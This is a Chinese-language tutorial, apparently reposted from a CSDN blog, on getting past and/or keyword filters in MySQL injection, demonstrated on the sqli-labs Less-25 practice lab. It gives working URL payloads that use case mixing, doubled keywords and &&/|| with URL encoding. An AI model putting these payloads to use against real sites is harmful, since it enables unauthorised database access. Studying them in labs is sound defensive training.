MySQL-and和or过滤

And和or的作用

AND为同时满足两个条件。比如测试字符型/数字型用到and 1=1 和and 1=2 的语句。

Or为满足一个条件即可。例如报错注入的时候会用到or语句

绕过手法

1.使用大小写绕过

例如: ?id=1'  anD 1=1 --+

2.复写绕过

例如:  ?id=1' anandd 1=1 --+

3.用&&取代and,用||取代or

例如: ?id=1' && 1=1 --+

            ?id=1' ||  1=1 --+

有的时候用&&和||识别不到,所以我们需要把他进行url的转码

例如?id=1' && 1=1 --+ 转码后 ?id=1' %26%26 1=1 --+

         ?id=1' ||   1=1 --+ 转码后 ?id =1' %7C%7C 1=1 --+

演示案例

sqli-labs-master/Less-25

分析源码

 1.使用preg_replace()函数检查$id这个变量的参数,如果这个参数里面出现了'/or/'的字符,使用i把他转换成小写进行匹配,也就是说不管你输入的是or还是OR,最后都会变成or。然后在替换成空

2.使用preg_replace()函数检查$id这个变量的参数,如果这个参数里面出现了’/AND/’的字符串,使用i把他转换成小写进行匹配,也就是说不管你输入的是AND还是and,最后都 会变成and。然后在替换成空

 

随便输入个参数?id=1

页面正常

 

在参数后面随便丢个'单引号进去,确定一下闭合方式

页面回显 

''1'' LIMIT 0,1' 

'1'' LIMIT 0,1

红色部分为我们输入,确定闭合方式单引号闭合

url :?id=1'and 1=1 --+

页面报错,回显 '1=1 -- ' LIMIT 0,1' at line 1 ,可以看出把我们输入的and给替换成空了。

使用复写绕过

url:?id=1' anandd 1=1  --+

页面正常

 

url:?id=1' anandd 1=2 --+

页面报错。绕过成功

说明我们输入的语句他带入数据库执行了 

使用&&进行绕过 

页面报错,没有识别出我们输入的&&,进行url的编码转换

 

url: ?id=1' %26%26 1=1 --+

页面正常

url: ?id=1'  %26%26 1=2 --+

页面报错绕过成功 

猜你喜欢

转载自blog.csdn.net/m0_72755466/article/details/130061894
今日推荐